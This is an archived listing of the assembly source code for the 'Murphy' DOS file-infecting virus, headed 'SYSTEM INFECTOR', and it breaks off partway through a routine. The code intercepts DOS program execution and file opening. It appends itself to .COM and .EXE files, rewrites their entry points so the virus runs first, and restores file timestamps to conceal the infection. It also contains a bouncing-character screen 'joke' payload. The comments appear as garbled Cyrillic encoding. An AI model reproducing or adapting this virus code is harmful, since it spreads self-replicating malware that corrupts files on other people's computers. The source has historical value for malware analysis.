home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MURPHEXE.ASM < prev    next >
Assembly Source File  |  1990-06-05  |  19KB  |  820 lines

  1. ;
  2. ;    dynamic self loader
  3. ;
  4. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  5. ;
  6. ;                 SYSTEM INFECTOR
  7. ;
  8. ;
  9. ;     Version 4.00 - Copywrite (c) 1989 by L.Mateew & Jany Brankow
  10. ;
  11. ;              All rights reserved.
  12. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  13.  
  14.     page    ,132
  15.  
  16.     title    SYSTEM INFECTOR
  17.  
  18. comp13        =    offset kt1 - offset org13
  19. comp21        =    offset kt1 - offset new21
  20. compbuff    =    offset kt1 - offset buffer
  21. compbuff1    =    offset kt1 - offset buffer1
  22. comp_code    =    offset kt1 - offset my_code
  23. vir_length    =    offset endpr - offset entry_point
  24. Cred        =    offset virus - offset credits
  25.  
  26.  
  27. code    segment                ; ¡á⌐ - ó᪡¿┐ ▒Ñú¼Ñ¡▓ !!!
  28.  
  29.     assume    cs:code            ; ¿¡¿╢¿á½¿º¿░á¡Ñ ¡á CS
  30.  
  31.     org    100h            ; ¡á╖á½Ñ¡ áñ░Ñ▒ ¡á »░«ú░á¼á▓á
  32.  
  33. entry_point:                ; ó╡«ñ¡á ▓«╖¬á
  34.     jmp    point1            ; ▒¬«¬ ó »░«ú░á¼á▓á ºá │▒▓á¡«ó┐óá¡Ñ ¡á ó¿░│▒á
  35.  
  36. buffer    db    18h dup (0c3h)        ; ╖Ñ▓¿░¿ »« RET
  37. buffer1 db    4 dup (0c3h)        ; ▓░¿ »« RET
  38. my_code dw    ?
  39. time    dw    ?
  40. date    dw    ?
  41. old_len dd    ?
  42. new21    dd    ?            ; ¼┐▒▓« ºá ¡«ó¿┐ óѬ▓«░
  43. old24    dd    ?
  44. org13    dd    ?
  45. old13    dd    ?
  46.  
  47.  
  48. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  49. ;
  50. ;       çᠡѺᬫ¡¡« ¬«»¿░á¡Ñ ╣Ñ «▓¿ñÑ▓Ñ ó ºá▓ó«░á !
  51. ;
  52. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  53. credits:
  54.     db    ' It''s me - Murphy. '
  55.     db    ' Copywrite (c)1990 by Lubo &'
  56.     db    ' Ian, Sofia, USM Laboratory. '
  57.  
  58. virus    proc    near            ;
  59.     call    time_kill        ; »░«óÑ░¬á ºá ñá▓á ¿ ╖á▒
  60.     cmp    ax,4b00h+'M'        ; äÄæ ┤│¡¬╢¿┐ EXEC ?
  61.     jnz    @05
  62.     push    bp
  63.     mov    bp,sp
  64.     and    word ptr [bp+6],0fffeh
  65.     pop    bp
  66.     iret
  67. @05:
  68.     cmp    ah,4bh            ; äÄæ ┤│¡¬╢¿┐ EXEC ?
  69.     jz    p0
  70.     cmp    ax,3d00h        ; äÄæ ┤│¡¬╢¿┐ OPEN ?
  71.     jz    p0            ; ñá !
  72.     cmp    ax,6c00h        ; »░«óÑ░¬á ºá DOS Fn 6C
  73.     jnz    @04            ; ¿¼á ¿ ñ░│ú ¡á╖¿¡
  74.     cmp    bl,0            ; ¡«░¼á½¡« «▓óá░┐¡Ñ
  75.     jz    p0            ; ºá░áº┐óá¡Ñ
  76. @04:
  77.     jmp    do_not_bite        ; ¡Ñ - »░Ñ╡«ñ ¬║¼ ▒▓á░¿┐ óѬ▓«░
  78. p0:                    ;
  79.     push    es            ; ºá»áºóá¡Ñ ¡á ES ,
  80.     push    ds            ; DS ,
  81.     push    di            ; DI ,
  82.     push    si            ; SI ,
  83.     push    bp            ; BP ,
  84.     push    dx            ; DX ,
  85.     push    cx            ; CX ,
  86.     push    bx            ; BX ,
  87.     push    ax            ; ¿ AX
  88.     call    ints_on
  89.     call    ints_off
  90.     cmp    ax,6c00h        ; »░«óÑ░¬á ºá OPEN
  91.     jnz    kt6            ; »░Ñ▒¬á╖á¡Ñ
  92.     mov    dx,si            ; íѺ ñ│¼¿
  93. kt6:
  94.     mov    cx,80h            ; ¼á¬▒¿¼á½¡á ñ║½ª¿¡á ¡á ┤á⌐½«óá▓á
  95.     mov    si,dx            ; ▒»Ñ╢¿┤¿¬á╢¿┐
  96. while_null:                ;
  97.     inc    si            ; »«½│╖áóá¡Ñ ¡á
  98.     mov    al,byte ptr ds:[si]    ; ┤á⌐½«óá▓á
  99.     or    al,al            ; ▒»Ñ╢¿┤¿¬á╢¿┐
  100.     loopne    while_null        ; ¬░á⌐ ¡á ASCIIZ ?
  101.     sub    si,02h            ; 2 ▒¿¼ó«½á ¡áºáñ
  102.     cmp    word ptr ds:[si],'MO'    ; »░«óÑ░¬á ºá .COM - ┤á⌐½
  103.     jz    @03
  104.     cmp    word ptr ds:[si],'EX'
  105.     jz    @06
  106. go_away:
  107.     jmp    @01            ; ªá½¬« -> no_ill_it
  108. @06:
  109.     cmp    word ptr ds:[si-2],'E.' ;
  110.     jz    go_forward        ;
  111.     jmp    short go_away
  112. @03:
  113.     cmp    word ptr ds:[si-2],'C.' ; «╣Ñ ¡¿╣« ¡Ñ Ñ ºáú│íÑ¡«...
  114.     jnz    go_away            ; .COM ┤á⌐½
  115. go_forward:                ;
  116.     mov    ax,3d02h        ; äÄæ ┤│¡¬╢¿┐ 3d /«▓óá░┐¡Ñ ¡á ┤á⌐½/ - ░Ѫ¿¼ ¡á ñ«▒▓║» 010b - ╖Ñ▓Ñ¡Ñ ¿ ºá»¿▒
  117.     call    int_21            ; ó░║╣á ┤á⌐½«ó¿┐ ¼á¡¿»│½á▓«░ ó AX á¬« CF = 0
  118.     jc    @01            ;
  119.     mov    bx,ax            ; ºá»áºóá¡Ñ ¡á ┤á⌐½«ó¿┐ ¼á¡¿»│½á▓«░ ó BX
  120.     mov    ax,5700h        ;
  121.     call    int_21            ;
  122.     mov    cs:[time],cx        ;
  123.     mov    cs:[date],dx        ;
  124.     mov    ax,4200h        ; äÄæ ┤│¡¬╢¿┐ 42
  125.     xor    cx,cx            ; ¡│½¿░á¡Ñ ¡á CX
  126.     xor    dx,dx            ; │▒▓á¡«ó┐óá¡Ñ ¡á │¬áºá▓ѽ┐ ó ¡á╖Ὣ▓« ¡á ┤á⌐½á
  127.     call    int_21            ; INT 21
  128.     push    cs            ; │▒▓á¡«ó┐óá¡Ñ
  129.     pop    ds            ; DS := CS
  130.     mov    dx,offset buffer    ; ¿º╖¿▒½┐óá¡Ñ ¡á áñ░Ñ▒á ¡á buffer
  131.     mov    si,dx
  132.     mov    cx,0018h        ; ╕Ñ▒▓ íá⌐▓á
  133.     mov    ah,3fh            ; äÄæ ┤│¡¬╢¿┐ 3FH /╖Ñ▓Ñ¡Ñ «▓ ┤á⌐½/
  134.     call    int_21            ; »░«╖¿▓á¡Ñ ¡á »║░ó¿▓Ñ 8 íá⌐▓á ó buffer
  135.     jc    close_file
  136.     cmp    word ptr ds:[si],'ZM'
  137.     jnz    @07
  138.     call    exe_file
  139.     jmp    short    close_file
  140. @07:
  141.     call    com_file
  142. close_file:
  143.     jc    skip_restore_date
  144.     mov    ax,5701h
  145.     mov    cx,cs:[time]
  146.     mov    dx,cs:[date]
  147.     call    int_21
  148. skip_restore_date:
  149.     mov    ah,3eh            ; äÄæ ┤│¡¬╢¿┐ 3E - ºá▓óá░┐¡Ñ ¡á ┤á⌐½
  150.     call    int_21            ; INT 21
  151. @01:
  152.     call    ints_off
  153.     pop    ax            ; ó║º▒▓á¡«ó┐óá¡Ñ ¡á AX ,
  154.     pop    bx            ; BX ,
  155.     pop    cx            ; CX ,
  156.     pop    dx            ; DX ,
  157.     pop    bp            ; BP ,
  158.     pop    si            ; SI ,
  159.     pop    di            ; DI ,
  160.     pop    ds            ; DS ,
  161.     pop    es            ; ES
  162. do_not_bite:
  163.     jmp    dword ptr cs:[new21]    ; »░Ñ╡«ñ ¬║¼ ▒▓á░¿┐ óѬ▓«░
  164. virus    endp
  165.  
  166.  
  167. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  168. ;
  169. ;        Subroutine for .EXE file
  170. ;
  171. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  172.  
  173. exe_file    proc    near
  174.     mov    cx,word ptr ds:[si+16h] ; ºá░Ѫñá¡Ñ ¡á «▓¼Ñ▒▓óá¡Ñ▓« ¡á CS í »á░áú░á┤¿
  175.     add    cx,word ptr ds:[si+08h] ; ▒║í¿░á¡Ñ ¡á »░Ñ┤¿¬▒á (ó »á░áú░á┤¿) ▒ ¡Ñú«
  176.     mov    ax,10h
  177.     mul    cx            ; │¼¡«ªáóá¼Ñ ú¿ ▒ 10h ¿ »«½│╖áóá¼Ñ
  178.     add    ax,word ptr ds:[si+14h] ; áí▒«½╛▓¡«▓« «▓¼Ñ▒▓óá¡Ñ ¡á
  179.     adc    dx,0            ; ó╡«ñ¡á▓á ▓«╖¬á ¬á▓« ▒║í¿░á¼Ñ ¿ IP
  180.     push    dx            ; ºá»áºóá¼Ñ ú¿ ó ▒▓Ѭᠺᠻ«-¡á▓á▓║¬
  181.     push    ax
  182.     mov    ax,4202h        ; ╡óá▓¬á ºá »«½│╖áóá¡Ñ
  183.     xor    cx,cx
  184.     xor    dx,dx            ; ¡á ñ║½ª¿¡á▓á ¡á
  185.     call    int_21            ; ┤á⌐½á ó DX:AX
  186.     cmp    dx,0
  187.     jnz    go_out            ; »░«óÑ░¬á ºá ñ║½ª¿¡á▓á ¡á
  188.     cmp    ax,vir_length        ; ┤á⌐½á ╡á░Ñ▒á¡ «▓ ó¿░│▒á
  189.     jnb    go_out            ; á¬« Ñ óÑ╖Ñ ╡á░Ñ▒á¡ «▓ ¡Ñú« -
  190.     pop    ax            ; Go out !
  191.     pop    dx
  192.     stc
  193.     ret
  194. go_out:
  195.     mov    di,ax            ; ºá»áºóá¡Ñ ¡á AX ó DI
  196.     mov    bp,dx            ; ¿ DX ó BP
  197.     pop    cx            ; ¿ºóáªñá¼Ñ «▓¼Ñ▒▓óá¡Ñ▓« ¡á
  198.     sub    ax,cx            ; ó╡«ñ¡á▓á ▓«╖¬á «▓ ñ║½ª¿¡á▓á ¡á ┤á⌐½á
  199.     pop    cx            ; ¿ »«½│╖áóá¼Ñ ñ║½ª¿¡á▓á ¡á
  200.     sbb    dx,cx            ; »░«ú░á¼á▓á ▒½Ññ ó╡«ñ¡á▓á ▓«╖¬á
  201.     cmp    word ptr ds:[si+0ch],00h; »░«óÑ░¬á ºá «»╢¿┐
  202.     je    exitp            ; /HIGH
  203.     cmp    dx,0            ; ▒░áó¡┐óá¼Ñ ú¿ ▒ ñ║½ª¿¡á▓á ¡á ó¿░│▒á
  204.     jne    ill_it            ; ¿ á¬« ¡á ▒á ░áó¡¿ ½Ñ»óá¼Ñ ú« ▓á¼ ¿
  205.     cmp    ax,vir_length        ; ▓.¡. . . .
  206.     jne    ill_it
  207.     stc
  208.     ret
  209. ill_it:
  210.     mov    dx,bp            ; »░«╖¿▓á¼Ñ ñ║½ª¿¡á▓á ¡á
  211.     mov    ax,di            ; ¡á »░«ú░á¼á▓á
  212.     push    dx            ; push óá¼Ñ ú¿
  213.     push    ax            ; ºá »«-¡á▓á▓║¬
  214.     add    ax,vir_length        ; ▒║í¿░á¼Ñ ┐ ▒
  215.     adc    dx,0            ; ñ║½ª¿¡á▓á ¡á Murphy
  216.     mov    cx,512            ; ñѽ¿¼ ┐ ¡á 512 íá⌐▓á
  217.     div    cx
  218.     les    di,dword ptr ds:[si+02h]; ºá░Ѫñá¡Ñ ¡á ▒▓á░á▓á ñ║½ª¿¡á
  219.     mov    word ptr cs:[old_len],di; ºá»áºóá¡Ñ ó ▓┐½«▓«
  220.     mov    word ptr cs:[old_len+2],es;ºá»áºóá¡Ñ ó ▓┐½«▓«
  221.     mov    word ptr ds:[si+02h],dx ; ¿ ┐ ºá»¿▒óá¼Ñ
  222.     cmp    dx,0
  223.     jz    skip_increment
  224.     inc    ax
  225. skip_increment:
  226.     mov    word ptr ds:[si+04h],ax ; ó í│┤Ñ░á
  227.     pop    ax            ; ╖Ñ▓Ѽ ñ║½ª¿¡á▓á ¡á ┤á⌐½á
  228.     pop    dx            ; «▓ ▒▓Ѭá
  229.     call    div10h            ; ñѽ¿¼ ┐ ¡á 10h ¿ ┐ »«½│╖áóá¼Ñ ó AX:DX
  230.     sub    ax,word ptr ds:[si+08h] ; ¿ºóáªñá¼Ñ »░Ñ┤¿¬▒á
  231.     les    di,dword ptr ds:[si+14h]; »░«╖¿▓á¡Ñ ¡á ▒▓á░¿▓Ñ
  232.     mov    word ptr ds:[buffer1],di; CS:IP ¿ ºá»¿▒
  233.     mov    word ptr ds:[buffer1+02h],es ; ó ▓┐½«▓«
  234.     mov    word ptr ds:[si+14h],dx ; ºá»¿▒ ¡á ¡«ó¿┐ IP ó í│┤Ñ░á
  235.     mov    word ptr ds:[si+16h],ax ; ºá»¿▒ ¡á ¡«ó¿┐ CS ó í│┤Ñ░á
  236.     mov    word ptr ds:[my_code],ax; ºá»¿▒ ¡á ¡«ó¿┐ CS ó║ó ▓┐½«▓«
  237.     mov    ax,4202h
  238.     xor    cx,cx
  239.     xor    dx,dx
  240.     call    int_21
  241.     call    paste
  242.     jc    exitp
  243.     mov    ax,4200h
  244.     xor    cx,cx
  245.     xor    dx,dx
  246.     call    int_21
  247.     mov    ah,40h
  248.     mov    dx,si
  249.     mov    cx,18h
  250.     call    int_21
  251. exitp:
  252.     ret
  253.  
  254. exe_file    endp
  255.  
  256.  
  257. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  258. ;
  259. ;          Subroutine for dividing
  260. ;
  261. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  262. div10h    proc    near
  263.     mov    cx,04h
  264.     mov    di,ax
  265.     and    di,000fh
  266. dividing:
  267.     shr    dx,1
  268.     rcr    ax,1
  269.     loop    dividing
  270.     mov    dx,di
  271.     ret
  272. div10h    endp
  273.  
  274.  
  275. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  276. ;
  277. ;        Subroutine for virus moving
  278. ;
  279. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  280.  
  281. paste    proc    near
  282.     mov    ah,40h            ; äÄæ ┤│¡¬╢¿┐ 40h /ºá»¿▒ ó║ó ┤á⌐½ ¿½¿ │▒▓░«⌐▒▓ó«/
  283.     mov    cx,vir_length        ; ¿º╖¿▒½┐óá¡Ñ ñ║½ª¿¡á▓á ¡á ó¿░│▒á
  284.     mov    dx,offset entry_point    ; DS:DX ▓░┐íóá ñá ▒«╖á▓ áñ░Ñ▒ᠡᠺỿ▒á
  285.     call    ints_on            ; ºá«í¿¬á½┐¡Ñ ¡á ╖á▒«ó¡¿¬á (R/W)
  286.     jmp    int_21            ; ºá»¿▒ ó║ó ┤á⌐½á
  287. paste    endp
  288.  
  289.  
  290. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  291. ;
  292. ;        Subroutine for .COM file
  293. ;
  294. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  295.  
  296. com_file      proc    near
  297.  
  298.     mov    ax,4202h        ; äÄæ ┤│¡¬╢¿┐ 42 /»░ѼÑ▒▓óá¡Ñ ¡á ▓Ѭ│╣¿┐ │¬áºá▓ѽ ó║ó ┤´á /AL=2 - ó ¬░á┐/
  299.     xor    cx,cx            ; │▒▓á¡«ó┐óá¡Ñ ¡á ░Ñú¿▒▓░¿▓Ñ
  300.     xor    dx,dx            ; CX ¿ DX /ᬫ CX:DX = 0 , ó DX:AX ▒Ñ »«½│╖áóá ñ║½ª¿¡á▓á ¡á ┤á⌐½á/
  301.     call    int_21            ; │▒▓á¡«ó┐óá¡Ñ ó ¬░á┐ ¡á ┤á⌐½á
  302.     cmp    ax,vir_length        ; ▒░áó¡┐óá¡Ñ ¡á ñ║½ª¿¡á▓á ¡á ó¿░│▒á
  303.     jb    short no_ill_it        ; ▒ »░«ú░á¼á▓á ¿ »░Ñ╡«ñ ó ¬░á┐ á¬«
  304.     cmp    ax,64000        ; ñ║½ª¿¡á▓á ¡á »░«ú░á¼á▓á Ñ < ñ║½ª. ¡á
  305.     jnb    short no_ill_it        ; ó¿░│▒á ¿½¿ > 0ffff-ñ║½ª. ¡á ó¿░│▒á - 20h
  306.     push    ax            ; ▒║╡░á¡┐óá¡Ñ ¡á AX
  307.     cmp    byte ptr ds:[si],0E9h    ; »░«óÑ░¬á ºá JMP ó ¡á╖Ὣ▓« ¡á »░«ú░á¼á▓á
  308.     jnz    illing            ; ìÑ? -  îÑ░▒¿! Æ«úáóá ºá░áº┐óá¼Ñ.
  309.     sub    ax,vir_length + 3    ; »«½│╖áóá¡Ñ ¡á ñ║½ª¿¡á▓á ¡á »░«ú░á¼á▓á íѺ ó¿░│▒á /ÑóÑ¡▓│ὡ«/
  310.     cmp    ax,ds:[si+1]        ; »░«óÑ░¬á ºá »░«ú░á¼á▓á ºá½Ñ»Ñ¡á ó ¬░á┐
  311.     jnz    illing            ; ìÑ? ...
  312.     pop    ax            ; «▒ó«í«ªñáóá¡Ñ ¡á ▒▓Ѭá
  313.     stc
  314.     ret
  315. illing:
  316.     call    paste
  317.     jnc    skip_paste
  318.     pop    ax
  319.     ret
  320. skip_paste:
  321.     mov    ax,4200h        ; äÄæ ┤│¡¬╢¿┐ 42
  322.     xor    cx,cx            ; ¡│½¿░á¡Ñ ¡á CX
  323.     xor    dx,dx            ; │▒▓á¡«ó┐óá¡Ñ ¡á │¬áºá▓ѽ┐ ó ¡á╖Ὣ▓« ¡á ┤á⌐½á
  324.     call    int_21            ; ¿º»║½¡Ñ¡¿Ñ ¡á ┤│¡¬╢¿┐▓á
  325.     pop    ax            ; ╖Ñ▓Ñ¡Ñ ¡á AX
  326.     sub    ax,03h            ; ¿º╖¿▒½┐óá¡Ñ ¡á «»Ñ░á¡ñá ¡á JMP-á
  327.     mov    dx,offset buffer1    ; ºáñáóá¡Ñ ¡á áñ░Ñ▒ᠡᠺỿ▒á ó DS:DX
  328.     mov    si,dx
  329.     mov    byte ptr cs:[si],0e9h    ; ºá»¿▒ ¡á 09H (JMP) ó ¡á╖Ὣ▓« ¡á ┤á⌐½á
  330.     mov    word ptr cs:[si+1],ax    ; «»Ñ░á¡ñá ¡á JMP-á ó »«½Ñ▓« ºá ºá»¿▒
  331.     mov    ah,40h            ; äÄæ ┤│¡¬╢¿┐ 40h /ºá»¿▒ ó║ó ┤á⌐½ ¿½¿ │▒▓░«⌐▒▓ó«/
  332.     mov    cx,3            ; ºá»¿▒ ▒Ἣ ¡á 3 íá⌐▓á
  333.     call    int_21            ; ¿º»║½¡Ñ¡¿Ñ ¡á ┤│¡¬╢¿┐▓á
  334. no_ill_it:
  335.     ret
  336.  
  337. com_file      endp
  338.  
  339.  
  340.  
  341. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  342. ;
  343. ;        Subroutine for calling of an 'int 21h'
  344. ;
  345. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  346.  
  347. int_21    proc    near
  348.     pushf
  349.     call    dword ptr [new21]
  350.     ret
  351. int_21    endp
  352.  
  353. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  354. ;
  355. ;       This subroutine changes the int 24h vector to me
  356. ;
  357. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  358. ints_on        proc    near
  359.     push    ax
  360.     push    ds
  361.     push    es
  362.     xor    ax,ax
  363.     push    ax
  364.     pop    ds
  365.     cli
  366.     les    ax,dword ptr ds:[24h*4]
  367.     mov    word ptr cs:[old24],ax
  368.     mov    word ptr cs:[old24+2],es
  369.     mov    ax,offset int_24
  370.     mov    word ptr ds:[24h*4],ax
  371.     mov    word ptr ds:[24h*4+2],cs
  372.     les    ax,dword ptr ds:[13h*4]
  373.     mov    word ptr cs:[old13],ax
  374.     mov    word ptr cs:[old13+2],es
  375.     les    ax,dword ptr cs:[org13]
  376.     mov    word ptr ds:[13h*4],ax
  377.     mov    word ptr ds:[13h*4+2],es
  378.     sti
  379.     pop    es
  380.     pop    ds
  381.     pop    ax
  382.     ret
  383. ints_on        endp
  384.  
  385. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  386. ;
  387. ;          This subroutine restores the int 24h vector
  388. ;
  389. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  390. ints_off    proc  near
  391.     push    ax
  392.     push    ds
  393.     push    es
  394.     xor    ax,ax
  395.     push    ax
  396.     pop    ds
  397.     cli
  398.     les    ax,dword ptr cs:[old24]
  399.     mov    word ptr ds:[24h*4],ax
  400.     mov    word ptr ds:[24h*4+2],es
  401.     les    ax,dword ptr cs:[old13]
  402.     mov    word ptr ds:[13h*4],ax
  403.     mov    word ptr ds:[13h*4+2],es
  404.     sti
  405.     pop    es
  406.     pop    ds
  407.     pop    ax
  408.     ret
  409. ints_off    endp
  410.  
  411. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  412. ;
  413. ;        This subroutine works the int 24h
  414. ;
  415. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  416. int_24    proc    far
  417.     mov    al,3
  418.     iret
  419. int_24    endp
  420.  
  421.  
  422. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  423. ;
  424. ;          îá⌐▓á» ▒ íѺºá╣¿▓¡¿▓Ñ ╡«░¿╢á
  425. ;
  426. ;
  427. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  428.  
  429. joke    proc    far
  430.     push    ax            ; ºá»áºóá¡Ñ
  431.     push    bx
  432.     push    cx            ; ¡á
  433.     push    dx
  434.     push    si
  435.     push    di
  436.     push    bp
  437.     push    ds            ; ░Ñú¿▒▓░¿▓Ñ
  438.     push    es
  439.     xor    ax,ax
  440.     push    ax
  441.     pop    ds
  442.     mov    bh,ds:[462h]
  443.     mov    ax,ds:[450h]
  444.     mov    cs:[old_pos],ax
  445.     mov    ax,cs:[pos_value]
  446.     mov    word ptr ds:[450h],ax
  447.     mov    ax,word ptr cs:[spot_buff]
  448.     mov    bl,ah
  449.     mov    ah,09h
  450.     mov    cx,1
  451.     int    10h
  452.     call    change_pos
  453.     call    push_spot
  454.     mov    ax,cs:pos_value
  455.     mov    word ptr ds:[450h],ax
  456.     mov    bl,07h
  457.     mov    ax,0907h
  458.     mov    cx,1
  459.     int    10h
  460.     mov    ax,cs:[old_pos]
  461.     mov    ds:[450h],ax
  462.     pop    es
  463.     pop    ds
  464.     pop    bp
  465.     pop    di
  466.     pop    si
  467.     pop    dx
  468.     pop    cx
  469.     pop    bx
  470.     pop    ax
  471.     jmp    dword ptr cs:[old_1ch]
  472.  
  473.  
  474. spot_buff    dw    ?
  475. pos_value    dw    1010h
  476. direction    db    0
  477. old_1ch        dd    ?
  478. old_pos        dw    ?
  479.  
  480. change_pos    proc    near
  481.     mov    ax,cs:[pos_value]
  482.     mov    bx,word ptr ds:[44ah]
  483.     dec    bx
  484.     test    cs:[direction],00000001b
  485.     jz    @001
  486.     cmp    al,bl
  487.     jb    @002
  488.     xor    cs:[direction],00000001b
  489.     jmp    short @002
  490. @001:
  491.     cmp    al,0
  492.     jg    @002
  493.     xor    cs:[direction],00000001b
  494. @002:
  495.     test    cs:[direction],00000010b
  496.     jz    @003
  497.     cmp    ah,24
  498.     jb    @005
  499.     xor    cs:[direction],00000010b
  500.     jmp    short @005
  501. @003:
  502.     cmp    ah,0
  503.     jg    @005
  504.     xor    cs:[direction],00000010b
  505. @005:
  506.     cmp    byte ptr cs:spot_buff,20h
  507.     je    skip_let
  508.     cmp    byte ptr cs:[pos_value+1],0
  509.     je    skip_let
  510.     xor    cs:[direction],00000010b
  511. skip_let:
  512.     test    cs:[direction],00000001b
  513.     jz    @006
  514.     inc    byte ptr cs:[pos_value]
  515.     jmp    short @007
  516. @006:
  517.     dec    byte ptr cs:[pos_value]
  518. @007:
  519.     test    cs:[direction],00000010b
  520.     jz    @008
  521.     inc    byte ptr cs:[pos_value+1]
  522.     jmp    short @009
  523. @008:
  524.     dec    byte ptr cs:[pos_value+1]
  525. @009:
  526.     ret
  527. change_pos    endp
  528.  
  529. push_spot    proc    near
  530.     mov    ax,cs:[pos_value]
  531.     mov    word ptr ds:[450h],ax
  532.     mov    bh,ds:[462h]
  533.     mov    ah,08h
  534.     int    10h
  535.     mov    word ptr cs:[spot_buff],ax
  536.     ret
  537. push_spot    endp
  538. joke    endp
  539.  
  540.  
  541. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  542. ;
  543. ;        Subroutine for check current time
  544. ;
  545. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  546.  
  547. time_kill    proc    near        ;
